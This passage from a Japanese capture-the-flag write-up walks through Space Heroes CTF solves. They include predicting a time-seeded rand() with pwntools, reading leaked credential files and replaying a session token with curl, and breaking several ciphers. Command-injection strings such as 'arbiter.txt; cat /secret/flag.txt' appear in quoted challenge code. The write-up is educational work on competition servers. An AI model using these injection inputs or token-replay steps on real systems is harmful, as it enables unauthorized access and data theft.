void main() {
    time_t tm;
    int amount;

    tm = time((time_t *)NULL);
    srand((unsigned int)tm);
    amount = rand();
    printf("%d\n", amount);
}
$ gcc get_amount.c -o get_amount

あとはこのプログラムを使ってrand()の値を指定し、フラグを取得する。

#!/usr/bin/env python3
from pwn import *

p = remote("spaceheroes-atm.chals.io", 443, ssl=True, sni="spaceheroes-atm.chals.io")
data = p.recvuntil(b'Option: \n').decode().rstrip()
print(data)
print('w')
p.sendline(b'w')
data = p.recvuntil(b'Amount: \n').decode().rstrip()
print(data)

io = process('./get_amount')
amount = io.recvline().decode().rstrip()
print(amount)
p.sendline(amount.encode())
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to spaceheroes-atm.chals.io on port 443: Done
Welcome to the ATM (Alien Time Machine)! Please select an option from the list below:
(b)alance
(w)ithdrawal
Option:
w
How much would you like to withdrawal? (Whole amts only)
Amount:
[+] Starting local process './get_amount': pid 1662691
[*] Process './get_amount' stopped with exit code 10 (pid 1662691)
655480430
<<< shctf{t1m3_i5_4ll_r3l4tiv3}
[*] Closed connection to spaceheroes-atm.chals.io port 443
shctf{t1m3_i5_4ll_r3l4tiv3}

Slowly Downward (web)

HTMLソースを見ると、フレームになっていることがわかる。フレームの中のURLは以下のようになっている。

http://srv3.martiansonly.net:4444/

さらにこのページのHTMLソースを見てみる。リンクされているabit.htmlはログイン画面になっている。
リンクされているSMALL_THOUGHTS.htmlにアクセスし、このページのHTMLソースを見てみる。
リンクされているページを見るが何も見つからない。
一部以下にような気になる記述がある。

<div id="ADMIN">username@text/credentials/user.txt password@text/credentials/pass.txt</div>

http://srv3.martiansonly.net:4444/text/credentials/user.txtにアクセスすると、以下のように書いてあった。

4dm1n

http://srv3.martiansonly.net:4444/text/credentials/pass.txtにアクセスすると、以下のように書いてあった。

p4ssw0rd1sb0dy5n4tch3r5

http://srv3.martiansonly.net:4444/abit.htmlのログイン画面で、この情報を使ってログインする。

このような画面になっているが、flag.txtの内容は取得できない。HTMLソースを見てみると、スクリプトに以下のように書いてある。

                :

        // Function to fetch the session token from the server
        function fetchSessionToken() {
            fetch('/get-session-token')
                .then(response => {
                    if (!response.ok) {
                        throw new Error('Failed to fetch session token.');
                    }
                    return response.json();
                })
                .then(data => {
                    sessionToken = data.token;
                    // Call the function that initiates your application after fetching the session token
                    initApplication();
                })
                .catch(error => {
                    console.error('Error fetching session token:', error);
                });
        }

                :

            // Function to handle file name input blur event
            document.getElementById('fileNameInput').addEventListener('blur', function() {
                const fileName = this.value.trim();
                if (fileName.includes('arbiter.txt; cat /secret/flag.txt') || fileName.includes('carts.txt; cat /secret/flag.txt') || fileName.includes('arbiter.txt; cat secret/flag.txt') || fileName.includes('carts.txt; cat secret/flag.txt') || fileName.includes('arbiter.txt;cat secret/flag.txt') || fileName.includes('carts.txt;cat secret/flag.txt')){
                    // Fetch secret flag using the session token
                    fetch('/text/secret/flag.txt', {
                        headers: {
                            'Authorization': `Bearer ${sessionToken}`,
                            'Secret': 'mynameisstanley'
                        }
                    })
                        .then(response => {
                            if (!response.ok) {
                                throw new Error('File not found.');
                            }
                            return response.text();
                        })
                        .then(fileContent => {
                            document.getElementById('fileContent').innerText = fileContent;
                        })
                        .catch(error => {
                            alert(error.message);
                        });

                :

http://srv3.martiansonly.net:4444/get-session-tokenにアクセスすると、以下のように表示された。

{"token":"1e6ec9f9c268cd2d7bbc197e3bcc8a5c"}

ブラウザでアクセスしたときのクッキーの値と、AuthorizationとSecretの値を設定し、アクセスすると、フラグが得られた。

$ curl -H "Authorization: Bearer 1e6ec9f9c268cd2d7bbc197e3bcc8a5c" -H "Secret: mynameisstanley" -A "session=.eJwNz8sWgVAAQNF_uWMDjxR-xgpJJKluxPLv9uCsPT7fEPui21dNG4f9mNex6MPuG-Zhp1lYcMEll1xxxYQJ11wzZcqMGTfccMstc-Y88MAjjzzxxIIFzzyzZMkLL6xY8corb7yxZs0772zY8MEHW7Z88smOHU1qFgYOjIwcOfLFF998c-LEDz_h9_sDDnVFUA.Zhm15A.6hNtq3u2I75nHcxw85flVilEZLs" http://srv3.martiansonly.net:4444/text/secret/flag.txt
shctf{sh0w_m3_th3_w0r1d_a5_id_lov3_t0_s33_1t}
shctf{sh0w_m3_th3_w0r1d_a5_id_lov3_t0_s33_1t}

Petey the Panther's Guide to the Galaxy (forensics)

$ binwalk A_Real_Space_Hero.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1891          0x763           Certificate in DER format (x509 v3), header length: 4, sequence length: 1573
3471          0xD8F           Certificate in DER format (x509 v3), header length: 4, sequence length: 1746
5224          0x1468          Certificate in DER format (x509 v3), header length: 4, sequence length: 1455
6719          0x1A3F          Object signature in DER format (PKCS header length: 4, sequence length: 5928
6888          0x1AE8          Certificate in DER format (x509 v3), header length: 4, sequence length: 1730
8622          0x21AE          Certificate in DER format (x509 v3), header length: 4, sequence length: 1710
10336         0x2860          Certificate in DER format (x509 v3), header length: 4, sequence length: 1421
13067         0x330B          TIFF image data, big-endian, offset of first image directory: 8
256834        0x3EB42         Zip archive data, at least v1.0 to extract, name: secrets/
256872        0x3EB68         Zip archive data, at least v2.0 to extract, compressed size: 123, uncompressed size: 164, name: secrets/piece_0.png
257044        0x3EC14         Zip archive data, at least v2.0 to extract, compressed size: 106, uncompressed size: 120, name: secrets/piece_1.png
257199        0x3ECAF         Zip archive data, at least v2.0 to extract, compressed size: 152, uncompressed size: 182, name: secrets/piece_10.png
257401        0x3ED79         Zip archive data, at least v2.0 to extract, compressed size: 144, uncompressed size: 170, name: secrets/piece_100.png
                :
                :

$ foremost A_Real_Space_Hero.jpg 
Processing: A_Real_Space_Hero.jpg
|foundat=secrets/PK
                :
                :

$ cd output/zip
$ unzip 00000501.zip 
Archive:  00000501.zip
   creating: secrets/
  inflating: secrets/piece_0.png     
  inflating: secrets/piece_1.png     
  inflating: secrets/piece_10.png    
  inflating: secrets/piece_100.png   
  inflating: secrets/piece_101.png   
  inflating: secrets/piece_102.png
                :
                :

400個のpngファイルが展開される。この画像を20×20に敷き詰めれば、QRコードになりそうなので、結合する。

#!/usr/bin/env python3
from PIL import Image

CELL_SIZE = 20
WIDTH_COUNT = 20
HEIGHT_COUNT = 20
WIDTH = CELL_SIZE * WIDTH_COUNT
HEIGHT = CELL_SIZE * HEIGHT_COUNT
FILE_FORMAT = 'secrets/piece_%d.png'

output_img = Image.new('RGB', (WIDTH, HEIGHT), (255, 255, 255))

for y in range(HEIGHT_COUNT):
    for x in range(WIDTH_COUNT):
        fname = FILE_FORMAT % (x + y * WIDTH_COUNT)
        img = Image.open(fname).convert('RGB')
        img_crop = img.crop((0, 0, CELL_SIZE, CELL_SIZE))
        output_img.paste(img_crop, (x * CELL_SIZE, y * CELL_SIZE))

output_img.save('qr.png')


結合したQRコードを読み取ると、フラグを取得できた。

shctf{s0_l0ng_4nd_th4nks_f0r_4ll_th3_flags}

A Window into Space (forensics)

パケットNo.19から8008ポートへの通信を見る。TCPヘッダのWindowサイズにフラグが1文字ずつASCIIコードとして設定されているように見えるので、取り出して結合する。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('space.pcapng')

flag = ''
for p in packets:
    if p.haslayer(TCP) and p[TCP].dport == 8008:
        flag += chr(p[TCP].window)
print(flag)
shctf{1_sh0uld_try_h1d1ng_1n_th3_ch3cksum_n3xt_t1me_0817}

ᒣ⍑╎ϟ ╎ϟ リᒷᖋᒣ (crypto)

ivはわからないが、keyはわかっている。適当なivで復号してみると、先頭ブロック以外が復号でき、そこにフラグが含まれていた。

#!/usr/bin/env python3
from Crypto.Cipher import AES

with open('message.enc', 'r') as f:
    ciphertext = bytes.fromhex(f.read())

key = b'3153153153153153'
iv = b'\x00' * 16

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)

flag = plaintext[plaintext.index(b'shctf{'):].decode()
print(flag)
shctf{th1s_was_ju5t_a_big_d1str4ction}

Intergalactic Cinema (crypto)

おそらく換字式暗号だが、数字も含まれている。まずフラグ部分を見てみる。

srmfy{ax_8xf_zx_zg8f6q_38f7_frwf_zx7a_8czrf}

以下の対応になることがわかる。

s -> s
r -> h
m -> c
f -> t
y -> f

この対応からわかる範囲で復号し、単語から推測できる箇所の対応をしながら、復号を進める。

#!/usr/bin/env python3

with open('encrypted.txt', 'r') as f:
    ct = f.read()

C = 'abcdefghijklmnopqrstuvwxyz0123456789'
P = 'db1rzt34wqv9c8x2ehs5jma0fg6yuip7lonk'

pt = ''
for c in ct:
    if c in C:
        pt += P[C.index(c)]
    else:
        pt += c

print(pt)

復号結果は以下の通り。

### line 1 ###
well, my dad was a farmer.

### line 2 ###
um, like everybody else back then.

### line 3 ###
of course, he didn't start that way.

### line 4 ###
computer says you're too tight.

### line 5 ###
- nah, i got this.

        :
        :

### line 2171 ###
at close of day

### line 2172 ###
rage, rage against the dying of the light

### line 2173 ###
shctf{d0_n0t_g0_g3ntle_into_that_g0od_n1ght}

### line 2174 ###
brand! help!

### line 2175 ###
- help!

        :
        :

### line 2756 ###
by the light of our new sun...

### line 2757 ###
in our new home.
shctf{d0_n0t_g0_g3ntle_into_that_g0od_n1ght}

Death Star Ransomware (crypto)

ECBモードなのでBMP画像が暗号されても文字が読み取れるレベルと推測し、ヘッダだけBMPにして画像として保存する。

#!/usr/bin/env python3

with open('enc.flag', 'rb') as f:
    enc = f.read()

bmp_head = [0x42, 0x4d, 0xca, 0x14, 0x70, 0x01, 0x00, 0x00, 0x00, 0x00, 0x8a,
    0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, 0xe8, 0x09, 0x00, 0x00, 0x4a,
    0x09, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x03, 0x00, 0x00, 0x00, 0x40,
    0x14, 0x70, 0x01, 0x23, 0x2e, 0x00, 0x00, 0x23, 0x2e, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00,
    0xff, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x42,
    0x47, 0x52, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00]

bmp = bytes(bmp_head) + enc[len(bmp_head):]

with open('almost_flag.bmp', 'wb') as f:
    f.write(bmp)


画像(掲載画像は縮小したもの)を見るとフラグが読み取れた。

shctf{d3str0y_th3_reb3ls}

Warmind Communique (crypto)

"magma"で調べると、GOSTブロック暗号であることがわかる。最初のブロックの平文はわかるので、IVがわからなくてもKEYで復号できる。

#!/usr/bin/env python3
import gostcrypto

key = bytearray(b'SKYSHOCKSKYSHOCKSKYSHOCKSKYSHOCK')
iv = bytearray(b'\x00' * 16)

with open('encrypted.enc', 'rb') as f:
    ct = f.read()

cipher = gostcrypto.gostcipher.new('magma', key,
    gostcrypto.gostcipher.MODE_CBC, init_vect=iv)

pt = 'V150NLK747CLS000'
pt += cipher.decrypt(ct).decode()[16:]
print(pt)

復号結果は以下の通り。

V150NLK747CLS000 GLOAMING RESURRECTION
AI-COM/RSPN: ASSETS//FORCECON//IMPERATIVE
IMMEDIATE ACTION ORDER

xxxxxdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxkkkkkkkkkkkxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxl:::::::::::::::::::::::::::::::::::::::::::::::::cldxxxxxxxxxxxk0XXXNXXXX0kxxxxxxxxxxxdlc::::::::::::::::::ccccc:::::::::::::::::cccccccc:oxxxxx
xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,;;;;,,;;;;;;;;;;;;;;;;;;;,;:ldxxxxxxxxxxONNNWMNNNOxxxxxxxxxxdl:;,;;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx
xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,,;;;,,;;;;;;;;;;;;;;;;;;;;;;;;coxxxxxxxxONWNWWNNNOxxxxxxxxoc;;;;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx
xxxxxc,,,,;;;;;;;,,,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;coxxxxxxONNKKXXNNOxxxxxdl:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx
xxxxxc,;,;;;;;;;;;;;;;,,,,,,,,,,;;;;;,;;;;;;;;;;;;;;;;;;;;;;;;;;:ldxxxkOOkkkkOOkxxxdl:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx
xxxxxc,;;;;;;;;;;;;;;;;;;,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:coxxxxxxxxxxxxdl:;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::;;:;;;;;;;;;;;;;;;:::;;;;lxxxxx
xxxxxc,;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;coxxxxxxxxoc:;;::;;::::;;;;;;;;;;;:;;;;;;;;:::::::::;;;;;;;;;;;;;;;:::;;;;;lxxxxx
xxxxxc,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:ldxxdoc::::::;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::;;:;;;;;;;;;;;;;;::::::::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:cc:::::::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::;;;:::::::::::;;;::::::;lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:;;;::::;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::;;;:::;::;lxxxxx
xxxxxc;;;;;;;;;;;;;;;;;;;;;;;;;;;::::;;;;;;;;:::::;;;;;;;;;;:::::::::;;;;;;::::::::::::::::::::::::::::::::::;;;:::::;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx
xxxxxc;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::;;;;;;;;;;;;;;;;;;;;;::::::;;;;;:::::::::::;;::;lxxxxx
xxxxxc;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::::::::::::::;;;;;;;;;;;;;;:;;;;;;;;::::::::::::::;;;;;;;;;;::::::::::::::::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;:c::::::::::::::::::::::;;;;;;;;;:::::::::::::::::::;;;::::::::;;;::::;;:::::;;;;;;;;;;;;;;;::::::::::::::;:::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;::;;;:::;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::;;;;::::::::::::::;:::::::;;;;;:::;;;:::::::::::::::::;;;;lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::;;;::::::::::::::::::::::::::::::::::::::::::::::::::;;;;lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::;:::;;:::::::::::::::::::::::::::::::::::::::::::;;::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::::::;;:::::::::;:::::::::::::::::::::::::::::::::::::::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::::::::cc:::::::::::::::::::::::::::::::::::::::::::::::;::;lkkxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::::::::::::::c::::::::::::::::::::::::::::::::::::::::::::::::lkkxkk
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::cc:::::::::::::::::::::::::::::::::::::::::::::::okkkkk
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::c:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::okkkkk
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::ccc::::::::::ccc:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::okkkkk
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::cccc::::::::::::cccc:::::::::::::::::::::::;:::::::::::::::::::::::::::::::::::okkkkk
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::ccc:::::::::::::::::cccc::::::::::::::::::::::;::::::::::::::::::::::::::::::::::okkkkk
xxxkxc,;;;;;;;;;;;;;;;;;;;:;;::;::::::::::::::::::::::::::::::cc:::::::::::::;::::::::ccc:::::::::::::::::::::::::::::::::::::::::::::::::::::::okkkkk
xxxxxc,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::;;:::::::::::cc::::::::::::::;:::::::::::cc:::::::::::::::::::::::;;;::::::::::::::::::::::::::::okkkkk
xxxxxc,;,,;;;;;;;;;;;;;cxOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO000OOOOOOOOklcc:cc:okOOOOOOOOO000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOdc:::::::::::::::::okkkkk
xxxxxc,;,,,;;;;;;;;;;;;;lkXWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWXkod0xclkOodONWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNKxc::::::::::::::::::lkkkkx
xxxxxc,;,,;;;;;;;;;;;;;;;;lkXWWWWWWWWWWWWWWWWWWWWWWWWWWWNNWWWWWWNNXkodONWkcoOWXOodOXWWWNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNKdc;;::::::::::::::::::lkkxkx
xxxxxc,;;;;;;;;;;;;;;;;;;;;;ckXNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNXOodONNNNkclOWNWXOodOXWWWWWWWWWWWWWWWWNWWWWWWWWWWWWWNWNKxc;;;;::::::::::::::::::lkkxkx
xxxxxc,;;;;;;;;;;;;;;;;;;;,;;;lxxxxxxxxxxxxxxxxxxkkkxxxxxxxxxxkxodOXNNNNNkclONNWWNXOooxkxxxxxxxxkxxkkkxxxxxxxxxxxkxxkxdc:;;;;;;;;::::::::::::::;lkkxkx
xxxxxc,;,,,,,,,;;;;;;;;;;;;;;:;;;cxkkOOkOOOOOOOOOOOOOkOOOOOOxl:oONNNNNNNNxclOWNNWNNNXOl:lkOOOOOOOOOOOOOOOOOOOOOOOOkdc;;::::::;;;;;;::::::::::::;lkkxkx
xxxxxc,;,,,,,,,,;;,,;;;;;;;;;;;;;;lkKNNNNNNNNNNNNNNNNNNNNNXkooOXNNNNNNNNXd:cxNNNNNNNNNXOooOXNNNNNNNNNNNNNNNNNNNNN0dc:::;;;:::;;;;;;;:::;;:::;:;;lkkxkx
xxxxxc,;,,,,,,,,,,,,;;;;;;;;;;;;:;;;cxKNNNNNNNNNNNNNNNNNXkooOXNNNNNNNNXko:::coOXNNNNNNNNXOooOXNNNNNNNNNNNNNNNNN0dc;;:;;;;;;;;;;;;;;;:::::::;;;;;lkkxkx
xxxkxc,;,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;cxKNNNNNNNNNNNNNKkooOXNNNNNNNNXkookdccxkloOXNNNNNNNNXkookXNNNNNNNNNNNNX0d:;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;;lkkxkx
xxxkxc,;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:ldxxxddddxxxxdloOXNNNNNNXNXkookXNxclkNKxloOXNXNNNNNNXkoodxxxxxxxxxxxoc:;;;;;;;;;;;;;;;;;::::;;;;;;;;;;;;lkkxkx
xxxkxc,;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;:oOXNNXXNXXNKkookXXXXxclkNXXKxloOXXXNNXNNXKkl;,;;,;;;;;;;;;::;;;;;;;;;;;;;;;;:::::;;;;;;;;;;lkkxkx
xxxkxc,;,,,;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;:oOXXXNXXXNXKkookXXXXXXx:ckNXXXXKxloOXXXNXXXXXXkl::::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;lkkkkk
xxxkxc,;,,,;;;;;;;;,;;;;;;;;;;;;;;::;;;;;;;;;;;;:oOKXXXXXXXXKkookKXXXXXXXx:ckXXXXXXXKkookKXXXXXXXXXOo:::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxkxc,,,,,;;;;;;,,,,;;;;;;;;;;;;;;;;;;;;;;;;;cdOXXXXXXXXXKkookKXXXXXXXXKo::xXXXXXXXXX0xlokKXXXXXXXXKkl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:;;;;;;lkkkkk
xxxxxc,,,,;;;;,,;,,,,;;;;;;;;;;;;;,;;;;;;,;;cdOKXXXXXXXXKkllkKXXXXXXXXKkl;,,:oOKXXXXXXXK0xllkKXXXXXXXXKkl;,;;,;;;;;;;;;;;;;;;;;;;;;;;;;;;::;;;;;lkkkkk
xxxxxc,,,,,,,,,,,,,,,,,,,;;;;;;;,,,;;;,;;,:oOKXXXXXXXX0kookKXXXXXXXXKkl;,,,,,,;oOKXXXKXXXX0dllkKXXXXXXXXKkl;,,,;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxxxc,,,,,,,,,,,,,,,,,,;;;;;,,,,,,,,,,,;lkKXXXXKKXX0xllkKXXXKXXXXKkl:;;,,,,,,,;cdOKXKXXKKXX0xlokKXXKXXXXXKxc;,,,,,,;;;,,;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxkxc,,,,,,,,,,,,,,,,,;;;;,,,,;,,,,,,;lkKKKKKKXKXKxllxKXXKKXKKKKkl;;:;,,,,,,,,;:::lOKKKXKKKXK0dclkKKKKKXKKXKxc;,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxkxc,,,,,,,,,,,,,,,,;;,,,,,,,,,,,,,,;lOKKKKKKKKX0dclkKKXKKKKKKKx:;;;;,,,,,,,,;;;;ckKKKKKKKKK0xccxKKKKKKKKKKOl;,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;oOKKKKKKKKKOocokKKKKKKKKKOdc;;,,,,,,,,,:lx0KKKKKKKK0xlcd0KKKKKKKKKkl;,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;oOKKKKKKKKKOdlokKKKKKKKKKOxc,,,,,,,,cx0KKKKKKKK0xccdOKKKKKKKKKkl;,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxkxc,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;:oOKKKKKKKKKOdclkKKKKKKKKKOd:,,,,cx0KKKKKKKK0xlcdOKKKKKKKK0ko:,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;,lkkkkk
xxxkxc',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;:ok0KK0KKKKKOoclk0KKKKKKKKOl;:o0KKKKKKKK0xccdOK00KK00K0kl;;,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;,;;,ckkkkk
xxxxxc',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:ok0K0K00K0KOocok0K000000o:cxK00000K0dccdO0000000K0kl;,,,,,,,,,,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;,lkkkkk
xxxxxc'''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;lk0000000K0Ooclk000000o;cxK0000OxccdO000000000kl;,,,,,,,,,,,,,,,,,,,,,,;;;;;;;;;;,,,;;;;;;;;,ckkkkk
xxxkxc',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'',,;lk000000000koclx0000o;:x000OdccoO00000000Oxl;',,,,,,,,,,,,,,,,,,,,,,,;;;;;,,,,,,,,,,,;,,;,,ckkkkk
xxxkxc',,,,,,,,,,,,,,,,,',,,,,,,,,,,,,,,,,,,,,,,,',,',;lk000000000koclxO0o;cx0Odc:oO000000000xc;,',,,,,,,,,,,,,,,,,,,,,,,,,,;,,,,,,,,,,,,,;,,;;,lkkkkk
xxxkxc''''''''''''''''''''''',,,'''''''''''''''''''',,'';lxO00000000ko:cxl;:dxc:dk00000000Oxc,'',''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;,lkkkkk
xxxxxc''''''''''''''''',,''''''''''''''''''''''''''''''''';lxO00O00O00ko:;,,;:oO00O00O00Oxc,''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,lkkkkk
xxxkxc'''''''''''''''''''''''''''''''''''''''''''''''''''''';lxO0O0OO0OOkc,,lk0O0OO0OOOxc,'''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''';lxO0OOOOOOo;:dOOOOOOOOdc,''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cxOOOOOOl;:dOOOOOOdc,'''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cxOOOOl;:oOOOkdc,''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkx
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cdkOl;:oOkdc,'''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cdl;:od:,'''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,'cxkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,',,,''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,'cxkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,''''','',,'cxkkkk
xxxkx:.''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,''''''',,,,,'cxkkkk
xxxkx:.'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,''''''''','',''cxkkkk
xxxkx:.'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',''''''''''''''''''''''cxkkkk
xxxkx:.'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',''''''''''''''''''''''cxkkkk
xxxkx:.''''''''''''''''''...''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''cxkkkk
xxxkx:.''''''''''''''..........'''''''''''''''''''''''''''''''''''''....''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''cxkkkk
